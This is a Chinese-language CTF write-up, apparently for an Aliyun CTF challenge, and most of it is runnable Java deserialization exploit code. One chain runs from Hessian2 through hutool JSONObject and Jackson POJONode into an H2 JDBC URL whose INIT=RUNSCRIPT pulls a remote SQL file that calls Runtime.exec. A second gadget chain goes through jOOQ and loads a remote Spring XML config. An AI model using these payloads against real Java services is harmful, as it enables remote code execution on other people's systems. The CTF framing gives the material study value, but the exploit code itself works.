agent
jdk17依赖有h2思路清晰打jdbc attack
<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <!-- https://mvnrepository.com/artifact/com.alibaba/hessian-lite --> <dependency> <groupId>com.alibaba</groupId> <artifactId>hessian-lite</artifactId> <version>3.2.13</version> </dependency> <dependency> <groupId>cn.hutool</groupId> <artifactId>hutool-all</artifactId> <version>5.8.16</version> </dependency> <!-- https://mvnrepository.com/artifact/com.h2database/h2 --> <dependency> <groupId>com.h2database</groupId> <artifactId>h2</artifactId> <version>2.2.224</version> </dependency>
项目
Deserial_Sink_With_JDBC
jdbc-attack
fork了一个师傅的github
发现没有
su18
H2 RCE
Spring Boot H2 console,by changing the connection url of h2 database,we can make spring boot run script from the remote.
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'
And then prepare a statemate something like below to declare and call the Runtime.getRuntime().exec():
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('open -a Calculator.app')
看到了h2 rce
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'"; // getConnection 触发漏洞 Connection connection = DriverManager.getConnection(connectionUrl); connection.close();
安装h2数据库
h2数据库
python -m http.server 8001
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "su18";}';CALL EXEC ('calc')
可以拿到calc
使用codeql查询sink
使用尝试
还有一个把cn.h2%修改为cn.hutool%,找到
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'"; Setting setting = new Setting(); setting.setCharset(null); setting.set("url",connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>());
这样就查找能触发到toString的类来触发jackson的getter去调用getConnection
由于是hessian反序列化会触发map的put方法,
我们寻找一条到pojonode#toString的链子, 但是Hessian 的反序列化受module的影响,但是原生的反序列化并不受module 的影响,所以hessian后面就要用到Bean的原生反序列化了
发现codeql显示能调用到但是
有限制,我们查找不继承这些接口的toString能触发pojonode#toString的方法,而且必须是jdk原生类
不然这个就满足了MutableObj
String#valueof和Object都满足
这样即可找到
确实可以触发
所以就是hessian2#readObject->AtomicReference#toString->String#valueof->POJONode#toString->h2的jdbc attack
使用codeql查找
hessian反序列化漏洞,是map反序列化,当他的_type不是null,且不是map和sortedMap时候,调用构造函数实例化
这时候生成了一个JSONObject变量,但是值为空
可以看到map将值put进去了两次反序列化
所以我们可以理解为,第一段Hessian2先创建一个JSONObject,
然后将两次反序列化的值作为key和value值
如何指定hessian2创建JSONObject呢
hessian2反序列化的序列化函数可以传入指定类型进去,并且设置this.buffer[this.offset++]
是77这样反序列化的时候就会获取_type值为77
但是writeType有条件限制
private void writeType(String type) throws IOException { this.flushIfFull(); int len = type.length(); if (len == 0) { throw new IllegalArgumentException("empty type is not allowed"); } else { if (this._typeRefs == null) { this._typeRefs = new HashMap(); } Integer typeRefV = (Integer)this._typeRefs.get(type); if (typeRefV != null) { int typeRef = typeRefV; this.writeInt(typeRef); } else { this._typeRefs.put(type, this._typeRefs.size()); this.writeString(type); } } }
在HashMap里面push了一个type进去
这时候反序列化
调用了this.read()
public final int read() throws IOException { return this._length <= this._offset && !this.readBuffer() ? -1 : this._buffer[this._offset++] & 255; } private final boolean readBuffer() throws IOException { byte[] buffer = this._buffer; int offset = this._offset; int length = this._length; if (offset < length) { System.arraycopy(buffer, offset, buffer, 0, length - offset); offset = length - offset; } else { offset = 0; } int len = this._is.read(buffer, offset, 256 - offset); if (len <= 0) { this._length = offset; this._offset = 0; return offset > 0; } else { this._length = offset + len; this._offset = 0; return true; } }
读取缓冲区的值当this.readBuffer返回值为true的时候调用this._buffer[this._offset++] & 255;
所以_offset这时候就为1
因为上面的writeBeginMap将tag设置为了77
通过readType读取
由于_offset为1,所以值是25
将offset-1,这时候offset读取就从2变成了1
在进入读取
这时候tag值就为25,_offset值就为2
设置_sbuf的长度为0,设置_chunkLength长度为25,也就是cn.hutool.json.JSONObject的长度
所以后面就是从buf的25长度后面读25个字节,也就是把Type读出来cn.hutool.json.JSONObject
这时候我们知道如何指定type了,继续跟着往后面走
case 77: type = this.readType(); return this.findSerializerFactory().readMap(this, type);
public Object readMap(AbstractHessianInput in, String type, Class<?> expectKeyType, Class<?> expectValueType) throws HessianProtocolException, IOException { Deserializer deserializer = this.getDeserializer(type); if (deserializer != null) { return deserializer.readMap(in); } else if (this._hashMapDeserializer != null) { return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType); } else { this._hashMapDeserializer = new MapDeserializer(HashMap.class); return this._hashMapDeserializer.readMap(in, expectKeyType, expectValueType); } }
进入了这边, this.getDeserializer(type)获取了类型的反序列化
也就是获取了
当类型
public Object readMap(AbstractHessianInput in, Class<?> expectKeyType, Class<?> expectValueType) throws IOException { Object map; if (this._type == null) { map = new HashMap(); } else if (this._type.equals(Map.class)) { map = new HashMap(); } else if (this._type.equals(SortedMap.class)) { map = new TreeMap(); } else { try { map = (Map)this._ctor.newInstance(); } catch (Exception var6) { throw new IOExceptionWrapper(var6); } } in.addRef(map); this.doReadMap(in, (Map)map, expectKeyType, expectValueType); in.readEnd(); return map }
这样就能newInstance了
在newInstance后调用了
this.doReadMap(in, (Map)map, expectKeyType, expectValueType);
in.isEnd()将buffer读取到了
也就是读完类名的值,也就是8,8也就是我们key的长度,再次反序列化,将offset的值就到
value反序列化开始的地方
获取到我们输入的key
再次反序列化获取我们的value,就是走正常反序列化了
JSONObject调用put
然后JSONObject调用set
到最后调用到这个
public JSONObject set(String key, Object value, Filter<MutablePair<String, Object>> filter, boolean checkDuplicate) throws JSONException { if (null == key) { return this; } else { if (null != filter) { MutablePair<String, Object> pair = new MutablePair(key, value); if (!filter.accept(pair)) { return this; } key = (String)pair.getKey(); value = pair.getValue(); } boolean ignoreNullValue = this.config.isIgnoreNullValue(); if (ObjectUtil.isNull(value) && ignoreNullValue) { this.remove(key); } else { if (checkDuplicate && this.containsKey(key)) { throw new JSONException("Duplicate key \"{}\"", new Object[]{key}); } super.put(key, JSONUtil.wrap(InternalJSONUtil.testValidity(value), this.config)); } return this; } }
调用了Object的toString也就是,
调用他的get函数
返回值也就是POJONode
String.ValueOf也就调用了value的toString
所以我们的思路就是
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close();
这样就能触发pojonode
所以payload就是
package com.aliyunctf.agent; import cn.hutool.core.map.SafeConcurrentHashMap; import cn.hutool.db.ds.pooled.PooledDSFactory; import cn.hutool.json.JSONObject; import cn.hutool.setting.Setting; import com.alibaba.com.caucho.hessian.io.Hessian2Input; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.aliyunctf.agent.other.Bean; import com.fasterxml.jackson.databind.node.POJONode; import com.n1ght.serial.SerialTools; import com.n1ght.unsafe.UnSafeTools; import sun.misc.Unsafe; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.util.Base64; import java.util.concurrent.atomic.AtomicReference; public class Main { public static void main(String[] args) throws Exception { //--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'"; Setting setting = new Setting(); setting.setCharset(null); setting.set("url",connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>()); Bean bean = new Bean(); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream); hessian2Input.readObject(); } }
但是为什么jackson的toString触发getObject后,就能再次触发PooledDSFactory的getter
BeanSerializerBase#serializeFields
在这边看到了BeanPropertyWriter#serializeAsField
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null); if (value == null) { if (this._suppressableValue == null || !prov.includeFilterSuppressNulls(this._suppressableValue)) { if (this._nullSerializer != null) { gen.writeFieldName(this._name); this._nullSerializer.serialize((Object)null, gen, prov); } } } else { JsonSerializer<Object> ser = this._serializer; if (ser == null) { Class<?> cls = value.getClass(); PropertySerializerMap m = this._dynamicSerializers; ser = m.serializerFor(cls); if (ser == null) { ser = this._findAndAddDynamic(m, cls, prov); } } if (this._suppressableValue != null) { if (MARKER_FOR_EMPTY == this._suppressableValue) { if (ser.isEmpty(prov, value)) { return; } } else if (this._suppressableValue.equals(value)) { return; } } if (value != bean || !this._handleSelfReference(bean, gen, prov, ser)) { gen.writeFieldName(this._name); if (this._typeSerializer == null) { ser.serialize(value, gen, prov); } else { ser.serializeWithType(value, gen, prov, this._typeSerializer); } } }
当获取值后,对value再次进行序列化
Object value = this._accessorMethod == null ? this._field.get(bean) : this._accessorMethod.invoke(bean, (Object[])null); //这边就是getter后的值
也就是调用getObject后获取的值
然后对他获取的值再次进行序列化也就再次走到了这
也就是调用了PooledDSFactory的getConnection
我们之前上面找的JdbcDataSource有问题,我修改了什么地方让他成功呢
问题就在
有debug问题,fastjson的序列化问题是
Error: java.io.NotSerializableException: org.h2.jdbcx.JdbcDataSourceFactory
这样导致trace设置不了,debugCodeCall会进行判断,导致无法执行connect
所以我们使用
H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class);
unsafe.allocateInstance实例化这样不会带不可序列化的数据,我们set即可
我重写的类
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by FernFlower decompiler) // package com.aliyunctf.agent; import java.io.IOException; import java.io.ObjectInputStream; import java.io.PrintWriter; import java.io.Serializable; import java.lang.reflect.Field; import java.sql.Connection; import java.sql.SQLException; import java.util.Properties; import java.util.logging.Logger; import javax.naming.Reference; import javax.naming.Referenceable; import javax.naming.StringRefAddr; import javax.sql.ConnectionPoolDataSource; import javax.sql.DataSource; import javax.sql.PooledConnection; import javax.sql.XAConnection; import javax.sql.XADataSource; import org.h2.jdbc.JdbcConnection; import org.h2.jdbcx.JdbcDataSourceBackwardsCompat; import org.h2.jdbcx.JdbcDataSourceFactory; import org.h2.jdbcx.JdbcXAConnection; import org.h2.message.DbException; import org.h2.message.Trace; import org.h2.message.TraceObject; import org.h2.message.TraceSystem; import org.h2.util.StringUtils; public final class H2DataSource extends TraceObject implements XADataSource, DataSource, ConnectionPoolDataSource, Serializable, Referenceable, JdbcDataSourceBackwardsCompat { private static final long serialVersionUID = 1288136338451857771L; private JdbcDataSourceFactory factory; private transient PrintWriter logWriter; private int loginTimeout; private String userName = ""; private char[] passwordChars = new char[0]; private String url = ""; private String description; private Trace trace; public Trace getTrace() { return trace; } public void setTrace(Trace trace) { this.trace = trace; } public H2DataSource(){ this.initFactory(); int var1 = getNextId(12); this.setTrace(trace, 12, var1); } private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { this.initFactory(); var1.defaultReadObject(); } private void initFactory() { this.factory = new JdbcDataSourceFactory(); } public int getLoginTimeout() { return this.loginTimeout; } public void setLoginTimeout(int var1) { this.loginTimeout = var1; } public PrintWriter getLogWriter() { return this.logWriter; } public void setLogWriter(PrintWriter var1) { this.debugCodeCall("setLogWriter(out)"); this.logWriter = var1; } public Connection getConnection() throws SQLException { return new JdbcConnection(this.url, (Properties)null, this.userName, StringUtils.cloneCharArray(this.passwordChars), false); } public Connection getConnection(String var1, String var2) throws SQLException { if (this.isDebugEnabled()) { this.debugCode("getConnection(" + quote(var1) + ", \"\")"); } return new JdbcConnection(this.url, (Properties)null, var1, var2, false); } public String getURL() { this.debugCodeCall("getURL"); return this.url; } public void setURL(String var1) { this.url = var1; } public String getUrl() { this.debugCodeCall("getUrl"); return this.url; } public void setUrl(String var1) { this.debugCodeCall("setUrl", var1); this.url = var1; } public void setPassword(String var1) { this.debugCodeCall("setPassword", ""); this.passwordChars = var1 == null ? null : var1.toCharArray(); } public void setPasswordChars(char[] var1) { if (this.isDebugEnabled()) { this.debugCode("setPasswordChars(new char[0])"); } this.passwordChars = var1; } private static String convertToString(char[] var0) { return var0 == null ? null : new String(var0); } public String getPassword() { this.debugCodeCall("getPassword"); return convertToString(this.passwordChars); } public String getUser() { this.debugCodeCall("getUser"); return this.userName; } public void setUser(String var1) { this.debugCodeCall("setUser", var1); this.userName = var1; } public String getDescription() { this.debugCodeCall("getDescription"); return this.description; } public void setDescription(String var1) { this.debugCodeCall("getDescription", var1); this.description = var1; } public Reference getReference() { this.debugCodeCall("getReference"); String var1 = JdbcDataSourceFactory.class.getName(); Reference var2 = new Reference(this.getClass().getName(), var1, (String)null); var2.add(new StringRefAddr("url", this.url)); var2.add(new StringRefAddr("user", this.userName)); var2.add(new StringRefAddr("password", convertToString(this.passwordChars))); var2.add(new StringRefAddr("loginTimeout", Integer.toString(this.loginTimeout))); var2.add(new StringRefAddr("description", this.description)); return var2; } public XAConnection getXAConnection() throws SQLException { this.debugCodeCall("getXAConnection"); return null; } public XAConnection getXAConnection(String var1, String var2) throws SQLException { if (this.isDebugEnabled()) { this.debugCode("getXAConnection(" + quote(var1) + ", \"\")"); } return null; } public PooledConnection getPooledConnection() throws SQLException { this.debugCodeCall("getPooledConnection"); return this.getXAConnection(); } public PooledConnection getPooledConnection(String var1, String var2) throws SQLException { if (this.isDebugEnabled()) { this.debugCode("getPooledConnection(" + quote(var1) + ", \"\")"); } return this.getXAConnection(var1, var2); } public <T> T unwrap(Class<T> var1) throws SQLException { try { if (this.isWrapperFor(var1)) { return (T) this; } else { throw DbException.getInvalidValueException("iface", var1); } } catch (Exception var3) { throw this.logAndConvert(var3); } } public boolean isWrapperFor(Class<?> var1) throws SQLException { return var1 != null && var1.isAssignableFrom(this.getClass()); } public Logger getParentLogger() { return null; } public String toString() { return this.getTraceObjectName() + ": url=" + this.url + " user=" + this.userName; } }
payload:
String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'"; Bean bean = new Bean(); // Setting setting = new Setting(); // setting.setCharset(null); // setting.set("url",connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); // PooledDSFactory pooledDSFactory = (PooledDSFactory) unsafe.allocateInstance(PooledDSFactory.class); // UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting); // UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>()); // UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); H2DataSource jdbcDataSource = (H2DataSource) unsafe.allocateInstance(H2DataSource.class); jdbcDataSource.setURL(connectionUrl); jdbcDataSource.setLoginTimeout(5); Object o = SourceTools.getterJacksonProxy(jdbcDataSource, DataSource.class); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(o))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream); hessian2Input.readObject();
这样拿取shell就可达到第二条,像第二条发送payload去打通
第二条的trace一直没加载进去,很奇怪,原生类序列化能不能打进去呢
之前继承的SimpleDSFactory也可以
package com.aliyunctf.agent; import cn.hutool.core.map.SafeConcurrentHashMap; import cn.hutool.db.ds.c3p0.C3p0DSFactory; import cn.hutool.db.ds.druid.DruidDSFactory; import cn.hutool.db.ds.jndi.JndiDSFactory; import cn.hutool.db.ds.pooled.PooledDSFactory; import cn.hutool.db.ds.simple.SimpleDSFactory; import cn.hutool.db.ds.tomcat.TomcatDSFactory; import cn.hutool.json.JSONObject; import cn.hutool.setting.Setting; import com.alibaba.com.caucho.hessian.io.Hessian2Input; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.aliyunctf.agent.other.Bean; import com.fasterxml.jackson.databind.node.POJONode; import com.n1ght.serial.SerialTools; import com.n1ght.source.SourceTools; import com.n1ght.unsafe.UnSafeTools; import org.h2.jdbcx.JdbcDataSource; import org.h2.jdbcx.JdbcDataSourceFactory; import org.h2.message.Trace; import org.h2.message.TraceObject; import org.h2.message.TraceSystem; import sun.misc.Unsafe; import javax.sql.DataSource; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Base64; import java.util.concurrent.atomic.AtomicReference; public class Main { public static void main(String[] args) throws Exception { //--add-opens java.base/java.math=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED --add-opens java.base/java.security=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED --add-opens java.desktop/javax.swing.undo=ALL-UNNAMED --add-opens java.desktop/javax.swing.event=ALL-UNNAMED --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED String connectionUrl = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8001/poc.sql'"; Bean bean = new Bean(); Setting setting = new Setting(); setting.setCharset(null); setting.set("url",connectionUrl); Unsafe unsafe = UnSafeTools.getUnsafe(); SimpleDSFactory pooledDSFactory = (SimpleDSFactory) unsafe.allocateInstance(SimpleDSFactory.class); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("setting"),setting); UnSafeTools.setObject(pooledDSFactory,pooledDSFactory.getClass().getSuperclass().getDeclaredField("dsMap"),new SafeConcurrentHashMap<>()); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); UnSafeTools.setObject(bean,Bean.class.getDeclaredField("data"), Base64.getDecoder().decode(SerialTools.base64Serial(pooledDSFactory))); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream); hessian2Output.writeMapBegin(JSONObject.class.getName()); hessian2Output.writeObject("whatever"); POJONode pojoNode = new POJONode(bean); Object object = new AtomicReference<>(pojoNode); hessian2Output.writeObject(object); hessian2Output.writeMapEnd(); hessian2Output.close(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); Hessian2Input hessian2Input = new Hessian2Input((InputStream)byteArrayInputStream); hessian2Input.readObject(); } }
只有开了--add-opens java.base/java.util.concurrent.atomic=ALL-UNNAMED
可以成功
server
使用查找,分了两步
即可
payload
package com.aliyunctf.server; import com.fasterxml.jackson.databind.node.POJONode; import com.n1ght.reflect.ReflectTools; import com.n1ght.serial.SerialTools; import com.n1ght.unsafe.UnSafeTools; import org.jooq.DataType; import org.springframework.context.support.ClassPathXmlApplicationContext; import javax.swing.event.EventListenerList; import javax.swing.undo.UndoManager; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Vector; public class Main { public static void main(String[] args) throws Exception { String url = "http://127.0.0.1:1234/poc.xml"; Class clazz1 = Class.forName("org.jooq.impl.Dual"); Constructor constructor1 = clazz1.getDeclaredConstructors()[0]; constructor1.setAccessible(true); Object table = constructor1.newInstance(); Class clazz2 = Class.forName("org.jooq.impl.TableDataType"); Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; constructor2.setAccessible(true); Object tableDataType = constructor2.newInstance(table); Class clazz3 = Class.forName("org.jooq.impl.Val"); Constructor constructor3 = clazz3.getDeclaredConstructor(Object.class, DataType.class, boolean.class); constructor3.setAccessible(true); Object val = constructor3.newInstance("whatever", tableDataType, false); Class clazz4 = Class.forName("org.jooq.impl.ConvertedVal"); Constructor constructor4 = clazz4.getDeclaredConstructors()[0]; constructor4.setAccessible(true); Object convertedVal = constructor4.newInstance(val, tableDataType); Object value = url; Class type = ClassPathXmlApplicationContext.class; UnSafeTools.setObject(val,val.getClass().getSuperclass().getDeclaredField("value"),value); UnSafeTools.setObject(tableDataType,tableDataType.getClass().getSuperclass().getDeclaredField("uType"),type); POJONode pojoNode = new POJONode(convertedVal); EventListenerList eventListenerList = new EventListenerList(); UndoManager undoManager = new UndoManager(); Vector vector = (Vector) ReflectTools.getFieldValue(undoManager, "edits"); vector.add(pojoNode); ReflectTools.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager}); String s = SerialTools.base64Serial(eventListenerList); System.out.println(s); SerialTools.base64DeSerial(s); } }